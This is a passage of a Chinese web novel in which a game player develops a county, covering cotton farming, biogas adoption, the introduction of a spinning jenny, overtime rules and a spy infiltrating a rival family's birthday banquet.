众人打趣了几句后散开,面上没多说话,实际上心底颇为动心。 先前他们只送了家中的小郎君去读书,但这么久了,没见到有什么结果,反而倒是那步家的小女儿一飞冲天。 一时间,众人颇有些犹豫,反正家里现在还能养起来几个孩子的读书钱,不如将家中小娘子也送过去? 虽说初心不够纯粹,但既然有利可图,便足够推动此事发展。 往好处看,有不少人已经决定这么做了。 而汪亮则是听得也颇为动心。 他家两个孩子今年刚到上学年龄,原先没进入陶瓷厂前,汪亮和汪娘子想的是先送儿子过去,但现在既然他手头还算宽裕,为何不将女儿也送过去?不说女儿日后和这步小娘子一般天才,但总归多学点东西,日后好有机会去那高门槛的工作才是。 其实说心底话,自汪亮拿到那日薪400,500后,他突然隐约感触到一些前所未有的新的想法。 ——他还是如今的他,手艺和先前几乎没有区别,但得益于机会和不同的工作地点,这才造就了如今能够赚取高薪的他。 而日后的话,伴随着仙人和县令大人会推出更多的新工作,但如何能赶上这波潮流? 原先他偶尔会琢磨此事却不得要领,但现在在听到了刚才的闲聊后竟有了新的想法。 ——上学!必须要将两个孩子都送过去! 他脑子算不得太笨,隐约感觉到日后的趋势和这学堂有莫大关系。 看着站定在那柔软光线下的汪娘子,汪亮朝着妻子走过去。《 》 130-140 第131章 棉花 姜定的屏幕上突然来了一则消息提醒。 【恭喜你获得了新的称号“变粪为宝”!】 在看清楚这四个字后,姜定有瞬间的懵逼。 等会,这玩意是怎么来的???他怎么想不起来这东西到底来自于哪儿? 再点进去仔细去看,这才发现是因为完成了推广沼气池的任务所获得的。 游戏继续提醒。 【是否选择佩戴此称号?】 姜定的脸色变了又变。???什么鬼,这个称号看上去就感觉很有味道啊,他才不想顶着一个这样的称号被人看啊。 但在看清楚这称号的作用后,姜定又陷入了深深的纠结。 上面写的清楚,若佩戴此称号,会使所在地区土壤肥力提高一倍。 而且这个称号的恐怖程度就是,只要属于他旗下的领土,那便可以提升肥力。 无论范围,无论时间,只要一旦刻上他的名字,这块土地便可以瞬间肥沃一倍。 ——离谱的称号拥有更离谱的成长性增益啊! 姜定瞪大眼睛,呼吸急促。 佩戴,还是不佩戴,是个问题。 脸面和切实的作用他肯定选择后者! 忍痛将称号佩戴上,姜定怎么看怎么觉得心里滴血,而就在这时,游戏则触发了一个在他看来足够善解人意的功能。 【是否选择隐藏称号?】!!! 姜定几乎不用犹豫,立即点了个“是”,等到作用生效后,他便看到原先那显示在头顶的“变粪为宝”称号消失了。 再兴冲冲地去查看土壤肥力,看清楚肥力的确翻倍后,姜定心情愉悦。 这块山顶的农田种植着他最近种植着的新作物——棉花种子。 其实如果能赶得上的话,他应当是先将这种子分发下去,让众人种植棉花,好抵御寒冬,但可惜就可惜在棉花的种植时间是四月份,而他开始游戏的时候季节早就过了,再加上当时他还没弄出来足够多,且优质的棉花种子,这件事便被耽误了。 不过好在沼气池是率先做好了,等开通今年的取暖后,想必他的居民不至于会被寒冬冻死。 ——当然,棉花也得补充,毕竟工人们外出干活的时候需要啊,万一出去干活冻死了岂不是得不偿失? 要知道现在每一个人口都是他宝贵的资源! 想明白这些后,姜定点开仓库,想看看自己目前棉花的存货够不够。 不看不知道,一看吓一跳,看着满满当当的一仓库棉花后,姜定将眼神挪开 额,到底是从什么时候开始,他有了这么多的棉花来着? 可能是因为他之前致力于种出足够多的优质种子,然后日积月累积累出来的?怪不得仓库盖了一个又一个,怎么都不够用。 找了先前负责种子方面的里正后,他很快便将种植棉花这件事交代下去,而至于对棉花的使用,使之能做出足够多的冬天衣物,以及被褥这件事,姜定则将此事交给了方知意。 毕竟这可是涉及全县人口的安危,姜定总感觉不交给紫卡人物,这事会做不够完美。 潜灵山山顶,负责种植棉花的农人早就淡定于这些农作物一天一熟的惊人事实了。 原先一天一熟时,他们还惊得一惊一乍,但当这种惊讶成为每天都需要经历一遍的事实后,众人早就默默接受了眼前所发生的事。 仙师能挪移天地,那仙田一天一熟也很合理吧? 且在种植棉花的过程中,农人们还挑选出了更为优质的种子,然后再用这优质种子再次耕种,试图挑选出最为稳定,且产量高的品种。 因他们工作上心,且工作较为忙碌,里正娘子在注意到后便将他们的工钱提升为150文每日。 但因这事实在是太小,所以里正娘子并未将此事告知仙师,毕竟在她看来,仙师那般仁慈肯定会同意,且仙师忙碌,怎可用这番小事去麻烦他? 莫名其妙被属下背刺的姜定:??? 不过因为现在雇佣的工人变多,姜定其实压根没心思天天去工资页面查看,在他看来,只要总体金额上涨,那便是他运营有方! 斗坡村。 先前里正负责农田大豆以及地瓜的生产,如今看着越来越接近冬日,且前两项作物运转良好,这会自然是在家中修养。 尤其最近农田里的活计只剩下最基础的农活,眼瞅着空暇时间越来越多,里正感觉自己竟然有些不习惯? 家中的孩子们均被他送到了学堂内,如今他也算是彻底到了能够休息休息,享受生活的岁数了。 闲下来时回忆这一年内的经历的事,里正颇有些不可置信。 谁能想到,他们一破落小村,仅仅在多半年内便有了翻天覆地的变化? 如今沼气池建立好了,家家户户点上了明亮的沼气灯,除此之外,沼气池的应用让大伙都用上了沼气,而沼气做饭,以及照明别提有多方便了。 起初这沼气池刚科普使用手法时,不少村人并不乐意花费两百文去购入那些基础用品——这不是瞎浪费钱么! 他们这边能去捡柴火,只要说捡够了柴火,无论是做饭或者是取暖,除了要浪费个把力气,哪用的了花费多余铜板? 但当看到那些个开了的村人晚上点着明亮的沼气灯,做饭时只需要一拧开就能方便做饭,不得不承认,他们还是心动了。 不过也不是不能忍 那张小四便是如此,舍不得花那两百文的基础用品以及一百文的每月沼气费,便硬生生地挺着,平时就用柴火和油灯。 闲下来时,他便和妻子去捡柴火,因斗坡村有不少人决定使用沼气,所以进山捡柴火的人反而少了,也就造成了柴火数量变多。 起初看到遍地柴火时,两个人兴奋了许久,但虽说柴火多,但人的身体素质是有极限的,忙碌下来,一天也捡不了太多,还累得要死。 不过好歹这些柴火够用几天了,一想到这,张小四便顿觉欣慰。 回到家早已饿得饥肠辘辘,但柴火有些潮湿,半天也点不着,此时,附近人家飘来了饭菜熟了的香味,惹得他肚子咕噜噜直叫。 张娘子浑身酸痛,点不着火,再加上疲累确实让她心情颇为郁闷,一番折腾,最后还是她厚着脸皮去隔壁借了个火,这才将柴火点着了。 等饭菜上桌后,天已经黑得伸手不见五指,张娘子点了油灯放在桌子上,豆大点的灯光可怜兮兮的照射在桌面上,一时间,不知道是疲惫,还是刚才借火时那妇人略带不解的目光刺痛了她,张娘子只觉得毫无胃口。 饭桌旁的孩子们则是频频朝着隔壁看去,隔壁点着沼气灯,光线明亮得让人心情都舒服了不少,原先还不觉得有什么,但这么一对比,张娘子只觉得自己的心口堵了一口气,久久咽不下去。 而张小四则是毫无察觉,甚至还在美滋滋思索着最近趁着下工后多捡点柴火,然后拉着去县内售卖。 二人连续忙碌了几天,好容易凑够一批柴火,租了驴子拉着去了风仙县打算售卖。 张娘子坐在柴火上,脸上相比之前稍微好了几分,毕竟几日的辛苦今日便可以换成钱了。 本以为是这样的。 但当二人在县内转悠了足足一天,却只在最后卖了一捆柴火后,二人陷入死一般的寂静。 尤其最后购买柴火的好心人特意拦下他们,有些怜悯道:“你们不是我们风仙县的人吧?我们县现在都不用柴火了,用的是沼气,那东西比柴火便宜,日后你们夫妻二人便别来本县内售卖柴火了,没人会买的!” 二人匆忙点头后狼狈离开,而张娘子结合这几日的劳累和遭罪,越想越气,终于忍不住开口抱怨。 “先前我就说了,这法子行不通,大家都去用沼气了,我们卖柴火哪里还有市场?若这还有市场,这种好事能轮到我们?” 张小四也恼怒,但敢怒不敢言。 “反正我不管,回家后咱们也必须给开沼气,那灯多亮,那沼气做饭我看就很方便,哪里用累死累活去捡柴火?再说了,前期花费左右不过我们一日薪资,何苦省钱让咱们过得那般苦?” 这确实是这个道理,毕竟得益于仙师最先在本县建造工厂,基本上本村人,且没有人品问题的,都有了能去工厂上班的机遇。 村内基本是家家户户都是夫妻二人共同经营着家庭,时间一久,妇人们倒也腰板硬了起来。 张小四虽说郁闷,但琢磨一番也是这个道理,只能点头同意。 张娘子几乎是一回去就开通了沼气,等点开沼气灯,用上沼气做饭时,她仿若久旱逢甘霖,一时半会,竟连前几日积攒的疲惫都一并消除了。 那堆柴火堆积在屋内角落,静悄悄的,仿佛被人遗忘了一般。 而里正则亲眼看着村人从一开始觉得沼气没必要,到后续争抢着要使用沼气的全过程 也好,反正不管用什么办法,现在没人会去给自己找不痛快,非要使用柴火了。 正琢磨着要不要去学堂看看时,脑内却传来一声让他铭刻在骨子里的熟悉声响。 ——是仙师!仙师再次寻他,是不是有新的任务要分发下来? 里正忍不住浑身激动,一种被需要的感觉席卷他全身,让他情不自禁产生了一种自己还有价值,还能替仙师分忧解难的感觉。 而等听清楚仙师的话后,里正陷入沉思。 仙师要求他于明年四月份带领村人种植棉花?且据仙师所说,这棉花产量极高,日后是需要作为原材料的存在。 里正很快便注意到了“原材料”三个字,难不成,仙师打算开设一家棉布厂? 第132章 珍妮纺纱机 里正不免激动。 虽说本村人现在都有了工作,但从外地来的不少人依旧会选择来他们村内寻找工作机会。 这样人数便多了,人数一多,那些有限的岗位自然是不够了。 若还能增加一个厂子的话,那本村定会更为繁华。 现在斗坡村一眼看过去,灯火通明,不少商贩聚集,酒楼住宿样样都有,和以前那个简陋的村落完全不一样了。 每次里正走在路上时,总会滋生出一种错觉,——一种自己正置身于县城内的错觉,不过这感觉也只有人多的时候强烈一些,但等到人都回家后,原先繁华的道路确实立即冷却下来。 一来二去,里正倒也琢磨出来一些东西。 这次他打算前去风仙县,和县令大人商讨一番关于村落合并,以及售出土地允许建立房屋的事。 毕竟伴随着产业的升级,所需要的人数越来越多,但这么多人若是不能解决住宿以及居住问题的话,想必日后发展定会受限制。 且若是村落合并可以趁着这个冬季完成的话,到时候他负责的,关于四月份种植棉花任务则是可以更为方便的教导完毕。 里正琢磨着想进入风仙县去寻县令大人时,而风仙县内,方知意则是静静地聆听着脑内传来的熟悉清冷音调。 不管听过多少次,这寒凉的,仿若冰泉缓缓流泻的声音依旧带有一种令人安心的魔力。 等听清楚仙师的话后,方知意不免垂下眼帘,静静思索,至于仙师所说之事,她那运行过快的大脑已然建立起了一连串的应对。 既仙师所说要将棉花制作成被褥,棉衣等物,这定是说明仙师正打算开设一家棉布厂。 若按照先前豆腐厂的经营方式,定是前期由仙师供给原材料,而等到明年四月份时,再由农户们大量种植棉花,这样一来,原材料的问题便解决了。 不过种植棉花这件事仙师并未将此任务托付给她,那便是这任务被托付给了斗坡村内之人。 想到斗坡村已有三个厂子,而作为人口数量更多的风仙县,也不过仅仅有一个陶瓷厂而已,方知意顿觉仙师是在提醒她。 ——想来这棉布厂是要开设在本县的。 只要棉布厂一开设成功,首先起码要满足自给自足,若有多余,则可以考虑向外供应。 目前来看的话,本县内因仙师的介入,再加上有了沼气池供暖,百姓的生活水平还算过得去,而先前仙盟的传播也有了显著的效果,今日来,前来投奔的百姓数量提升了好几倍。 这些人目前暂时被方知意下令检查隔离,在不曾确保他们不具备传染性前,方知意是不会轻易将这群人放进来的。 对于这些人,方知意其实早就有了安排。 若属于高度稀缺的匠人,那便可进入县内工作,若不曾有什么特殊的本领,那便可以加入开荒任务,——先前她早就命令官兵查探了附近临近的县域一圈,发现这些县内的百姓大部分都逃窜到了别的地方。 原先,方知意是打算直接占领这些县域,毕竟可以省得浪费时间去重新建造房子。 但当看到县内房子被烧得焦黑,且遍布腐臭的尸体后,方知意沉默片刻,而后决定沿着风仙县附近扩大县域面积。 ——同样是建造房子,去别的地方一是还需要额外提防瘟疫等意外,二是会距离风仙县稍远一些,还不如直接在原地建造来得更快一些。 既要继续扩大,那便需要人过来开拓土地,在开荒这事情上,这就是一个巨大的人口缺口。 那些受仙盟影响而选择投奔风仙县求个安宁之人,则也可以靠着建造城池获得薪资,这无疑不是双赢的局面。 至于原先那些县内的尸体,方知意早就在上次瘟疫事件后下令官兵携带生石灰泼洒着过去消毒。 虽说耗费了不少精力,但这和瘟疫的杀伤力度相比,绝对算不上什么。 且后期的话,她还是要继续在这些地方继续开设新的城镇的,毕竟按照仙师的预设,仙师怎会被围困在这小小的一城内? 思绪飘得太远,方知意拽了拽那根绳,好让她的思绪回笼。 眼下的情况是,得先用仙师给的棉花去做一批冬日衣物及被褥出来,至于棉布厂的建造不用费心,她现在手下匠人数量足够,不怕建不上。 不过话说这棉布制作方面,她前些日子似乎看到过一本相关描述的书籍。 方知意遵循着记忆,缓缓翻开那本名为《论棉布纺织研究》的书籍。 等看清楚其内的描述后,方知意不免陷入沉思。 书籍中是从棉花脱籽一物开始说起,这书内除却距离她遥远的仙界方法外,最为有可行性的便是一名为“轧棉机”的木造机器。 此法不同于目前大炎内普遍采用的搅车,而采取一人喂棉,另一人转动轧棉机,这便可又快又好的将棉花内部的棉籽快速脱离出来。 按照书中所写,此法要比搅车效率提升一倍,且更为省力。 至于如何制作这轧棉机,书内竟然有分开部件的详解木工图,方知意略微一看,便觉得这拆解得颇为精细,想来复刻出来不算难,但她并非专业人士,自然需要让专业木工前去将此物复刻出来。 而除了棉花脱籽问题需要她处理外,另外后面对于织布的话,则是提到了一种新的机器,名字很奇怪,名为“珍妮纺纱机”。 方知意翻开后,等看清楚上面的描述后,那张素日没什么情绪变化的面庞此刻也是难得变了神色。 这珍妮纺纱机竟然能够一次性纺8根纱! 要知道目前大炎最先进的纺织机一次不过也只能纺三根纱而已! 且这种能同时纺三根纱的纺织机构造精密,不说制作图,就连成品本身也全部被黎州那边的商人们捏在手里,小商人想买一台回去研究是不可能的,而至于那些制作纺织机的木匠,则也被这些大商户扣在手心,不会轻易将此技术外传。 这些大商户一般均是大型布料商,旗下招了不少心灵手巧的女工负责织布,一个成熟的女工使用三锭的纺纱机,一年能织出130到150匹布。 但若是没资格拿到这三锭纺纱机的个人商贩,便只能运用最为传统的织布法,一年到头,大概只能织出来几十匹布而已。 这一个工人便差了近三倍,自然久而久之,这些散户越来越抵不过大商户,一件事情若是盈利少,那便很少有人想去继续做下去。 久而久之,市场上织布的散户变少,而百姓对于布匹的需求依旧是硬需求,但大量布匹被大商户垄断,价格自然居高不下。 这便是为何一匹布料会如此昂贵的缘故。 现在可以这么说,只有说家中的妇人才会在闲暇之余织布以贴家用,其余的散户基本上没有再做这生意的。 而现在,这同时能织8根纱的珍妮纺纱机出现,这造成的直接后果便是一个成熟的女工,一年可以织出来的布匹是传统纺纱机的八倍! 方知意忍不住呼吸快了几分。 若在棉花足够的情况下,未来的布匹价格恐怕会跌不少。 而到那时候,或许人人能穿新衣将不会是白日做梦,而切实地变成了一种最普遍的情况。 一旦意识到这技术到底有多厉害后,她自然对此项技术保留了极度的热情。 鉴于此技术珍贵,方知意脑内想到的是被官府收编的匠人们。 一刻都不耽误,方知意立即拿着书,去了那匠人处。 此时正值下午快下工时分,匠人所内不少人面露轻松,毕竟手头工作已经完成,等待着下工便是。 而伴随着门外的通告声,众人忙互相对视,而后匆忙跪了一地。 匠人所的主负责人是一名为杨老的木匠,此木匠岁数虽说大了些,但手艺却是实打实的好。 不过被方知意提拔为负责人不单单是因为这原因,而是因为此人及其下儿孙均深居本县内,背景清白,不存在叛变的可能。 屏退闲杂人等,方知意先是赞扬了一番最近匠人所的努力,这才将那轧棉机和珍妮纺纱机的构造图展开,让他去看。 “杨老毕竟是所内最优秀的木匠,不若杨老如何看待这两物?” 杨老毕恭毕敬地双手接过县令大人递过来的书,等看清楚那所画之物后,眼珠子像是黏在上面一样,死死地盯着那构造图看得失神。 起初在看到轧棉机时,杨老感慨后便颇为惊喜。 ——这是哪里弄来的好东西?若将本朝的搅车改造一番做成这轧棉机的话,不仅更为省劲,也能分离出更多的棉籽。 这对于本县来说绝对是好事! 心里默默盘算制作难度后,杨老觉得复刻这轧棉机没问题,尤其是这分解图还这样详尽,若做不出来才是愧对他从县令大人手中拿的工钱。 而等他翻阅页面,将眼睛挪到下一个名为珍妮纺纱机的东西上时,先前那股隐秘的惊喜此刻变为滔天巨浪,将他死死地盯在沙滩上。 ——怎么可能?!一次性能纺8根纱?这怎么做到的? 杨老甚至控制不住表情,忙盯着那图去看。 等仔细研究那构造图以及分解图后,他脑内一直被困的点竟然疏通了。 先前他就好奇那黎州的三锭纺纱机到底是如何运转的,但多次尝试后总觉得缺少一些灵感,虽说他也做出了那仿制品,三锭纺纱机,但投入试验后便发现还是缺少东西,因为纺出来的纱品质会不稳定。 本以为有生之年都无法破解黎州匠人那精湛的手艺了,但谁能想到现在竟然从县令大人这里拿到了更为夸张的八锭纺纱机! 第133章 加班 想到这八锭纺纱机会给本县带来的巨大改变,杨老不免心神震撼 这可是能同时纺8根纱的机器,若应用在织布业上,必定会造成纺织成品布的速度加快,想必日后本县绝对会成为炙手可热的富县。 且若这纺纱机能够推广开来的话,布匹价格将会下降不少。 且杨老默默抬眼看了眼那位大人寂静坐在高位的身影,心中不免唏嘘。 幸是遇到了方大人,若换个别的县令,不一定能像方大人这般实干为民,反而会串通那些富户,将此技术售卖出去,绝非应用于本县内。 想到方大人这些日子在风仙县所做的一切,杨老不免心头涌上一阵激动的情绪。 回应时,好容易控制住语气,这才缓缓开口:“大人,这两物老夫得亏有这分解图,所以复刻出来的难度并不算高,不知大人是想要多少台机器?” 方知意露出一抹微笑,面带笑容。 “自然是越多越好,杨老,我命你为制作这两样物品的直接负责人,开设机械厂,负责招收各部位的加工工人,不过相应的保密工作也需要做好,毕竟胜利的果实不能被敌人窃取,你能做到么?” 杨老脑袋仿若被炸开一般,不等他细细品味,身子却早一步跪拜下去。 与此同时,他脑内惊涛骇浪。 ——建设机械厂! 方大人到底是想造多少台机器! 原先以为建造个几十台,几百台就了不得了,但现在看来,明显这位大人的心思比他更为疯狂。 回想到过去方大人曾经做过的事,杨老惊愕地察觉,方大人只要出手,定会伴随着大动作,带来一片腥风血雨。 虽说最后结局都是为了百姓,但这位的态度也表明了她的决心。 ——改变世道。 杨老脑内只有这四个字,多余的猜想他不敢继续猜测下去,只能跪地点头,将这任务接下来。 等他回到所内时,发现手下人全都走完了。 开设机械厂的事只能明天商定了,但在那之前,杨老倒是缓缓思索着其中最为关键的部分。 ——若想做好保密工作,那招设的工人必须相互间隔,让每个人都只加工零件,且互相之间无法有联系,这样才是最好的保密方法。 至于对工人的招收要求倒是不高,只要是木匠即可,至于不需要技术的岗位,就可以招收一些普通人了。 颇为麻烦的是组装部分,这部分需要木匠,且是最容易泄露秘密的一环,看来在招收这部分匠人时,必须要对此部分匠人有所约束才是。 杨老没急着回去,而是点燃沼气灯。 他们工作的地方早在先前也开设了沼气系统,初次见识到这沼气系统的厉害时,杨老现在都记得他当时震撼到即将失语的模样。 沼气灯自点燃后散发出洁白柔软的光,杨老手握毛笔,思索片刻后将各个部位的设计图分别画了下来。 这些图在明日便会被他分散下去,作为分批制作两样机器的示意图。 至于最重要的一部分他没画,而是将之深深刻在脑海内。 等到一切完工,杨老抬头一看时间,已经亥时了。 杨老不免苦笑,自从方大人上任后,致力于提升工作效率,各部门严禁加班,只靠工作时间快速完成所需要完成的工作即可。 为了响应政策,他已经很久没加班过了。 毕竟加班不仅仅不会升职,得到方大人的欣赏,反而会被大人怀疑是能力不够。 如果遇到非要加班的时候,则是需要提前打报告,阐述加班的内容以及必要性,这样才是合规的加班流程。 如果按照合规加班流程的话,加班时间会拥有二倍工资作为补偿。 正想些有的没的时,杨老好像突然听到有声响传了过来。 一番紧张,他连忙熄灭了沼气灯,那抹光亮顿时消失。 等确认附近没了巡逻的官兵后,杨老这才偷偷摸摸地挎着包回家。 岂料刚走到门口,便被官兵无情拦下。 “杨老您违反加班法了,可否有县令大人亲手出具的可加班手续?” ——自然是没有的。 “失礼了,杨老,您必须要和县令大人解释才是,请不要难为我。”???等等,合理吗,现在都这个点了,县令大人肯定早就走了,他就不能先回家,明天再去亲自找县令大人赔罪? 话到了嘴边,疑惑都成了询问。 “大人还在府内?” 那官兵隐没在他身后,说话时不免带了一丝动容和敬佩。 “自然,大人每日均要到子时才会休息,若公务繁忙时,还要比这更晚。” 还在继续前进的杨老不免发出惊叹的声音。 子时?且还是天天如此?这得什么样的好官才能做到这般勤恳? 本还觉得他今日能加班到亥时已经足够勤勉了,但没想到,和县令大人一比,他简直像个笑话。 一时间,杨老只觉得口唇发干,先前还想说的话这会全部塞进了喉咙里。 很快,杨老便被官兵“请”到了县令大人的房间外。 说实话,这是杨老第一次这么迟才离开官府,一路上没有灯光,只有越接近县令大人所在的区域才会逐渐透露出一抹亮光来。 等透过窗户,看到屋内时,杨老在得到命令后推门而入。 一时间,二人互相面面相觑。 最后还是杨老率先开口:“大人,最近几日我想申请加班。” 说这事时,杨老不免有些紧张,倒是方知意抬头看了他一眼,点头。 “好,不过国有国法,家有家规,今日杨老不曾提前申请加班,所以今日加班工资无法兑现。” 说这话时,沼气灯明媚的光均匀地洒在方大人那张略带笑意的面庞,杨老一时间不知道该说些什么。 ——也没脸说啊,毕竟他确实没按照流程办事,且方大人作为县令不也天天免费加班? 她也不像是原先那王县令一样致力于贪污,反正他从没听过哪个不要命的敢过去贿赂方大人。 而等杨老离去后,方知意半眯眼睛,手指无意识敲击着桌面 是时候去找赵金构口中所说的那位杜家小郎君了。 只有说靠着这人,才能将本县所产的,不甚重要的东西售卖到黎州,从而拿到更多银两。 而与此同时,杜百则是犯了难。 先前她沉醉于沼气池的便捷,前前后后观察了沼气池好几天,而后决定打算将这马桶售卖出去,售卖的地方自然选择了黎州。 虽说那地方没有沼气池,但可以做到预埋水管,仅仅是这样也比原先出恭干净多了。 杜百有种预感,或许这马桶能够掀起黎州热度,替她赚取不少钱财。 但有好便有坏,起码当下困难之处便在于,这马桶分量不轻,若是从风仙县一路运输到黎州,消耗有些大了。 且在杜百看来,本县的陶瓷厂所制作出来的马桶堪堪只够县域内使用,若要抽出一部分卖给她,都是相当困难的事。 叹了口气,杜百将注意力重新放回先前她多次合作的酒厂身上。 好在这酒水质量稳定,仅仅是两次交易,便为她带来了颇为丰厚的回报,且不得提的是,这酒水在本县售卖也是火爆,若不是她趁机在这酒厂还不曾进入市场前预定了一部分份额,现在酒厂都不一定能给她继续供货。 轻点一番即将运输过去的物品,杜百心中对第三次的交易不免兴奋。 而与此同时,黎州城内,祝家因给祝老爷贺寿,特意开办了一宴会。 这宴会请的都是有头有脸的人物。 祝府门口是十个排成两行的清秀小丫鬟,专门负责将贵人引入席间。 一身穿墨蓝色的俊秀少爷则是带着小厮进门。 丫鬟在接收到那帖子,展开一看后,忙露出微笑。 “荣世子请。” 边说,边将此人带至席间。 荣世子此人看着年岁约十六七,风流倜傥,手执一把折扇,笑得时候颇为动人。 他身旁的小厮身高腿长,虽说夜晚光线不甚好,但小丫鬟匆匆一瞥倒也注意到这小厮俊秀的面庞来。 ——荣世子长得好便算了,怎地连他身边的小厮也这般好看? 再细细看去,只见来人眉目如画,只是看人的时候那眼神仿佛带着彻骨的寒。 小丫鬟不免一个瑟缩,忙垂头,而后提着灯笼,乖乖带着二人前去。 路上绕过一团团造型精美的假山,潺潺流水自青石间蜿蜒而出,泛起层层涟漪。 鼻尖时不时便能传来一阵阵不知名的淡雅香气,惹得荣世子不免轻声叹息。 “还是祝府高雅,这味道可是那寒兰?” 小丫鬟声音带了些紧张,倒是替他解释。 “荣世子猜得不错,这寒兰是老爷最爱,先前特意命人从幽州那边请了人,又挖了数支回来培养,费了不少力气,这才培育成功。” 荣世子点头,“不错。” 二人不曾继续对话。 前方丫鬟停了脚步,这是到了—— 只见朱楼玉宇内,鲛绡为幕,明珠为灯,数百盏鎏金花形烛台吐着明晃晃的烛火,将满堂照得恍如白昼。 紫檀木长案上,摆满了精致的吃食,糕点,以及特供的美酒。 席间宾客皆穿云锦华服——女子鬓边金步摇、点翠簪摇曳生姿,男子腰间玉佩、串珠碰撞,叮咚作响。 十二乐伎隐藏在幕后,执箜篌、抱琵琶,奏出一只只空灵的乐曲来。 雕梁画栋间,丝竹声、谈笑声不绝于耳,满室珠光宝气,端的是“钟鼓馔玉不足贵,此宴胜却天上宫阙” 。 寻宁跟在那荣世子身后,眼神扫过这堪称奢靡的一幕,微微垂头,露出一个极具嘲讽的微笑来。 第134章 仙岛美酒 这笑意快速划过面庞,再看过去时,那张脸又恢复先前那副面无表情的模样。 自她们一行人来了黎州后,便开始兵分两路,一队去探查祝家消息,而另一队则是想方设想靠近那祝家,但可惜的是,那祝家防卫颇为严密,尝试数次后无果,她只能借着荣府过渡过来才能进来祝家。 这场祝寿宴便是她多日来等待的机会。 在假扮成随身侍从跟着荣世子混进来后,虽说原先她便知晓这黎州境内奢靡成性,但亲眼看到时,除了那点近乎于无的惊叹后,剩余的便是不可抑制的浓厚愤怒。 这样的奢靡,按照祝家正常的收入来说绝不应该,纵观最近从师姐那边得来的消息,祝家应当掌握着大炎朝内不少商业资源,还有一点最为重要的是,祝家凭借着多次献策获得了天子的信任,从而被封赏了不少土地。 至于这在朝廷中颇被重视之人,正是祝家嫡子祝时。 不过可惜的人,寻宁来到黎州后,几乎没有机会亲眼看到这位据说是天才的人物,只有在不少人口中,才将此人的形象拼凑完全。 按照情报所说,祝时此人身姿颀长挺拔,立如青松,目若寒星朗月,顾盼间自有霁月光风之姿。 举止端方有度,心怀赤忱仁德,待人接物如春风化雨,黎州元城内,无人不称赞其品性高洁。 除品性高洁外,此人更是天赋异禀,才学韬略惊世骇俗,乃千载难逢之不世奇才,恰似谪仙降世。 初次听到这番描述时,寻宁不得不承认她忍不住冷笑出声。 ——谪仙?这群人到底见没见过真正的仙人? 在片刻嘲讽后,寻宁倒是认真下来。 看来这祝时在这名气不小啊,不过听这些人说,此人虽说才高八斗,但从不自傲,反而愿意和周围人打成一片。 可谓是足够接地气的天才。 想到风仙县内那份下水设计图,寻宁不免对此人颇为忌惮。 不过令人在意的是,除了知道这些几乎是人人都知晓的事外,她们查探了许久,竟是没查出别的消息。 上次师姐倒是传来一消息,祝时身体不好,经常需要前去药馆修养。 至于那药馆师姐已派人潜伏进去,就等着那祝时来了。 多日来的努力总算没有白费,寻宁此刻精神也放松了几分,注视着不远处的宴会。 因宴会较为特殊,他们这样的下人是要呆在屋外待命的。 不过寻宁无论是听力还是视力都是一顶一的好,即便离得远一些,她也能听到那席间大致的谈论方向。 而此刻,人已经到得差不多了,寻宁注意宴席来了人,——此人上了年纪,身穿一身绛紫色衣袍,但看着身体还算硬朗,这应该就是祝老爷了。 人都齐全了此人才慢慢悠悠地落座,可见是很傲慢。 寻宁不自觉腹诽,与此同时,她注意到一旁搀扶着祝老爷的年轻人。 此人俊秀非常,穿着一身烟紫色的衣袍,衣袍无风自动,混着他那双清澈温和的眼睛竟让人生出一阵无法抵御的好感来 是谁? 寻宁暗自盯着此人看了几秒,直到她听到了周围人略带恭维的声线。 “祝大人” 寻宁暗自蹙眉,心想这位十有八九就是她的目标祝时。 祝时看着年轻,但实际上根据先前的调查,此人目前年龄已有二十九,家中仅有一妻,夫妻感情和谐,孩子的话,一男一女,均生得俊秀聪慧。 刚想到这情报,下一秒,寻宁便看到了祝时的妻子以及两个孩子。 两个孩子奶声奶气地对着祝老爷下跪祝贺时,席间难免又是一阵拍马。 寻宁有些嫌弃,但她任务如此,只能被迫让耳朵过滤掉那些除了情报以外的消息。 场内则在一开始的寒暄完毕后,彻底进入正题。 祝老爷举着酒,声音浑厚,满面红光。 “老夫在这里先谢过各位前来捧场,不若各位先尝尝这美酒?这酒水可是老夫潜心搜索而来,滋味属实美妙。” 听到这话,众人这才细细打量起来杯中之物。 只见清透的液体带着淡淡的黄亮,闻起来一股酒香扑鼻,可见是难得好酒。 似乎是注意到了众人打量的目光,祝老爷微微一笑。 “这酒来头可是不凡,诸位就当给老夫个面子,品品才是。” 先前众人就好奇,此刻又有祝老亲自开口,哪还有推脱的道理,这会会喝酒的,不会喝酒的,均抬起酒杯,慢慢品味上一口。 只一口,众人便变了脸色。 ——这酒,味道独特得很呐! 酒水顺滑地流入喉咙,而后一股柔而辣的感觉慢慢延续上来,很快口腔内便满是酒水的香气,和先前那些个酒水的滋味完全不同,明显这酒水更是吸引人。 这一口喝下去后,不少人按捺不住,扶着桌上的细颈酒瓶,又给自己满上。 觥筹交错间,有人倒是对此酒颇为上心,一番旁敲侧击,得出来的答案不免让人大吃一惊。 ——这酒水是从一仙岛上运输而来,产量极低,就连祝家这样的人家,也只买了不过百斤而已。 但百斤的话,这一场宴会便要花费多半 一时间,众人忙捧起自己面前的酒瓶,生怕这口美酒没落到自己肚中。 还有人则是想着回去将此酒水分享一番才是。 这酒水度数高,这些人原先都是喝惯了十来度酒水的,现在一时间喝着上头,醉了一大片。 等到宴会结束,寻宁垂头入内扶着那醉酒的荣世子出来时,倒是敏锐地从他手心握着的酒瓶上闻到了熟悉的味道。 怎么感觉像是她经常喝的本县的酒水? 寻宁细细去嗅闻,察觉到这味道的确和她经常喝的酒是同一款 所以那祝家人压根没说实话啊,还骗这群人这些酒水来自于仙岛,若是这些自视清高的黎州人得知此酒水不过是他们所看不上的穷乡僻壤之地所生产的酒水,到时候又会是何种精彩脸色? 一想到那个场景,寻宁不免心中生出几分恶劣的期待。 ——说实话,她真的很好奇那一天的到来,好奇这些人那张往常看着完美的面具会不会因此崩裂。 肩膀上压着的是荣世子的重量,寻宁借着错位给他塞进去一颗安眠丸进去。 几乎瞬间,此人便僵直了舌头,腿似乎都不会打弯了。 寻宁很快将这人托付给她先前安排好的马夫,此人负责将荣世子送回去,不然很快荣府便会察觉到不对劲。 刚才那药物足够让他沉睡个一天一夜,到时候她再回去也不着急。 等内应带着荣世子离开后,寻宁直奔那祝时所在之处。 祝老爷早被人引着离开了宴席,而作为主事人的祝时则需要稍微晚一些离场,所以等寻宁回去时,恰好看到他正带着点灯笼的小厮离去的背影。 几乎没有任何犹豫,寻宁像是黑猫一样,钻进这浓厚的夜色中。 